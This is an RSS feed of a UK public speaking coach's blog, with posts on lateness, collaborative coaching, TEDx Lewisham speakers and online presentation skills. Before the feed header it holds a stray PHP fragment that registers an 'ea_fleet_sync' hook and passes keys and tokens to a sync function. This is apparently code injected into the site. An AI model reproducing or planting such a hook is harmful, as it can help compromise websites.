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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Empowering Archives - Now you're talking https://www.nowyouretalking.co.uk/category/empowering/ Public speaking Wed, 24 May 2023 14:44:31 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> Collaborative coaching unleashes the ‘F’ words https://www.nowyouretalking.co.uk/2022/11/03/collaborative-coaching/ Thu, 03 Nov 2022 16:41:36 +0000 https://www.nowyouretalking.co.uk/?p=1464 What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the…

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]]> One-to-one Collaborative Coaching

What is coaching? Short-term connection to impart specific learnings? If you’re really lucky, it might be a life-changing experience. As someone once said “Lyn has shown me that dreams really can come true.” However, this can only happen if the coach and the person you’re coaching work together, unleashing the ‘F’ words, for mutual benefit. What I like to call collaborative coaching.

When I think about collaborative coaching, I think about unleashing my four favourite ‘F’ words!

Friendship

Cast your mind back to life before Covid. I was meeting a potential client in the British Library. She’d allowed 45 minutes for our meeting to see if she wanted to work with me on her public speaking. It didn’t start well.

Her train was delayed. My train was delayed. Her train was further delayed.

I got to the British Library. She was just arriving at Euston and there was a queue to get into the British Library.

So much for our 45 minutes! By the time we’d found each other, grabbed a cuppa and found somewhere to sit, we were down to 30 minutes.

We started talking about… politics. Risky, eh, on a first meeting? We talked about Brexit, the general election, Amazon’s tax status. We carried on. Homelessness. Mental health. We swapped personal stories and traded vulnerabilities.

Then she said “Lyn, I have a year of important speaking ahead and I want to raise my speaking game. What can you do for me? I talked about my approach. She talked about invoicing. And I thought, happily, I have a new client.

She told me that she’d arranged to meet me to see if she liked me. Somehow, our 30 minutes morphed into a couple of hours and we left the British Library like new best friends, excited about working together.

In my experience, effective collaboration begins with a desire to understand each other and build something mutually beneficial together.

Flexibility

Collaborative coaching can’t be a one-way street with the coach deciding what to deliver, based on predetermined goals and content. That’s a lecture. Content needs to be flexible and determined by the person being coached, combined with observations from the coach. So the coach needs to…

LISTEN carefully. What does the person you’re coaching say they want you to cover and does that align with what they actually need in order to reach their speaking goals?

WATCH carefully. What do they show you they’re already good at and what could they improve?

FEEL fully. How do they make you feel when you experience being with them? How do they connect and engage with you and how is that likely to translate into speaking with an audience?

With the stated needs and the observations, you’re in a position to agree coaching objectives and co-create relevant content that can evolve, flexibly, as the coaching progresses. The continuous interchange between the coach and the coachee always produces a unique experience that is fresh and stimulating for both parties, while ensuring ongoing evaluation of goals and content.

Fun

As you know, we learn better when we’re relaxed and having fun. As Churchill said:

“Personally I’m always ready to learn, although I do not always like being taught.”

I like to think that collaborative coaching would have given Churchill the joy of learning in a way that responded to his needs and preferred learning style.

When we’re happy and having fun, we unleash a cocktail of dopamine, endorphins and oxygen that help us learn.

Coaching that involves laughter, play and experimentation is far more likely to be productive and something we look forward to. It keeps piquing our curiosity and encouraging us to want more, while the act of learning itself is a pleasure and one we enjoy being part of.

However, fun is one of those words that means different things to different people, so again, it’s crucial to explore what qualifies as fun to both participants.

When I meet a potential client, I’m exploring the things that make them laugh, the characteristics of what they consider a fun experience. And, having spent a career in market research, it’s not just what they say that I’m absorbing, but also what they don’t say, their non-verbal behaviour and responses.

So, how do we bring fun to online platforms? I always start with the setting. Is everyone comfortable? Do they have something to drink and/or eat? Do they have relevant equipment, materials and resources to hand? If not, it’s worth taking a few minutes to be ready and settle. Connection and engagement are critical, so it can be useful to share a story or anecdote before moving forward.

Interaction is essential for energy and fun. Breakout rooms on Zoom and Teams are invaluable in bringing small groups together, allowing them to explore and develop ideas before sharing them back to the bigger group. And don’t overlook all the tech that enables people to interact online, including digital whiteboards, pinboards, polls, etc.

Introducing elements of gamification can also heighten the fun, including introduction of a theme, pressure and excitement of being against the clock, competition, rewards and recognition, progression (levels), gifting and sharing, teamwork, anarchy of turning something on its head and so on. Gaming and play in its broadest sense have so much to bring to coaching as a stimulating and co-created, collaborative experience between coach and coachee and among fellow coaching participants.

Feedback

Collaborative coaching needs a growth mindset. It requires openness and recognition that both parties have something to teach to, and something to learn from, each other.

Coaching sessions where everyone is giving and receiving feedback are exciting and stimulating. The key is to agree in advance the nature of the feedback. Feedback is most effective when the ground rules are clear and everyone knows their role. Examples might include:

  • Who is giving feedback on what? Agreeing this in advance means participants can focus on the task as it is happening and not have to rely on recall after the event.
  • When is it useful to give the feedback? For instance, will sharing your thoughts as you go along be more or less helpful than debriefing as a session wrap-up?
  • How do you want to offer/receive feedback? I am a fan of a ‘sandwich’ approach where suggestions for improvement and growth are sandwiched in between positive observations about things that are working well.

When feedback is a tool for learning from each other so that coaching can develop effectively, it’s a win-win experience for all concerned.

As the coach, feedback challenges and stimulates you to sharpen and evolve your skills and material when you’re co-creating with the person you’re coaching.

As the person being coached, you get that vital input you need to develop and meet your coaching goals.

At its best, it allows coaches to acknowledge that coaching outcomes are a result of working together, of co-creation. For coachees, that very process of co-creation may help them acknowledge the help they’ve received.

It’s a great joy to work with clients who value the ‘F’ words – friendship, flexibility, fun and feedback – for collaborative coaching that benefits all involved.

 

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]]> First ever TEDx Lewisham – Oh what a night! https://www.nowyouretalking.co.uk/2022/03/24/first-ever-tedx-lewisham-oh-what-a-night/ Thu, 24 Mar 2022 15:56:12 +0000 https://www.nowyouretalking.co.uk/?p=1439 And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment. As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best…

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]]> And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment.

As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.

The essentials of speeches that make a difference were evident.

Confidence

They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.

And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.

Connection

The CONNECTION between speakers and audience was palpable:

🔴 It was a community event and every speaker lives in Lewisham

🔴 They spoke about real issues that affect us all, that we all care about

🔴 Speaker and audience interacted in that sweetspot where relevant meets relatable

🔴 We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 😊

🔴 And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable

People will be retelling those stories for years and remembering how they made them think and feel.

Change

TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”

Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.

Every speaker was seen, heard and made an impact.

All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!

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]]> Have you got the online mindset? https://www.nowyouretalking.co.uk/2021/06/28/online-mindset/ Mon, 28 Jun 2021 11:11:40 +0000 https://www.nowyouretalking.co.uk/?p=1414 The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be…

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]]> The world’s gone hybrid and we’re adjusting mindsets and skillsets in our play, work, learning… and communication. But we seem to be clinging to our ‘in-the-room’ speaking skills when we need a different mindset to really stand out and be heard online.

Top pitfalls in online talks and presentations include insufficient energy, poor eye contact, lack of clear relevance, monotonous voice, poorly told or no stories, confusing message and structure, and hiding behind slides/PowerPoints.

But what is the online mindset and how do we get it and avoid these pitfalls?

1. You’re in close up and everyone has a front-row seat

Your camera and mic can see and hear everything, but is it what you want your audience in the front row to see and hear?

Before joining a meeting with camera/video on, check:

  • You’re well lit, so your audience can see your face and eyes as they are where we find trust and sincerity
  • You’ve got external and intrusive noise under control
  • You look the part for your close up
  • You’ve decluttered your surroundings, so there’s nothing to divert attention

2. Your audience is home alone

People in a virtual audience often feel left out or alone, even when there are hundreds of people in the same meeting. We need to help them feel involved. Your body language is a good place to start:

  • A warm and genuine smile communicates a relaxed and friendly you
  • Adopt a confident posture that says I’m comfortable and delighted to be here
  • Bring big energy, bigger than you would in the room, so that you can reach into your audience’s home. Dial up vocal interest and passion for your subject to help draw people towards you
  • Steady and direct eye contact builds trust, but it’s hard online because you have to talk to your camera lens, not the faces on your screen

And then draw them in further by creating opportunities to interact through the chat, reactions, breakouts, whiteboards, Q&A, etc. One-way communication only adds to the sense of being home alone.

3. Just because you can see your audience, it doesn’t mean they’re listening

Online audiences show up, physically, thinking ‘What’s In It For Me?’ If you don’t pique their curiosity, their minds will soon drift to their email, Instagram and who knows what else.

We need to be relevant and quickly give our audience a reason to listen. It’s no coincidence that most TV programmes nowadays start with a dramatic happening and when they’ve hooked us in, they roll the credits. Same with your talks and presentations. In most cases, you can save thank you and event protocols until after your opening remarks.

Online, we’re impatient. You’ve got just seconds to grab someone’s attention and demonstrate you have something relevant that they’ll value:

  • Know your audience so you can open with something that matters to them
  • Deliver a clear message that’s new and relevant, for right now
  • Make things easy for them. Less is more online, so strip back your content to the ‘must-have’ information to support your message, and use a clear and easy-to-follow structure

4. It’s just you and the person in the front row

Online, you lose the collective response of an audience being together in the same room as you. Now, it’s just you and your one-to-one connection with each individual member of your audience in their front-row seat.

To achieve connection, we need to be relatable, human to human. The best way we can achieve this is through the stories we tell. Ideally, they:

  • Are relevant to the subject of your talk
  • Draw on your own, real-life experiences
  • Have presence by being told in the here and now, with energy and enthusiasm
  • Are full of dialogue that engages all five senses, delivering energy and presence that narrative can’t achieve
  • Are appropriately edited to make sense and be memorable to an audience hearing them for the first time

And your newfound friend in the front row will help you read the room. Glance and gauge the energy and engagement of a few people and also factor in how you’re feeling, rather than trying to read the reactions of every individual on your screen.

Giving talks and presentations is your opportunity to persuade and inspire, to keep yourself and your organisation visible, and to pay it forward, building our collective knowledge by sharing ideas.

Recognising the online mindset and its impact on what you say and how you say it will make your talks stand out and impact your key target audiences.

First published as guest blog by Comms Rebel

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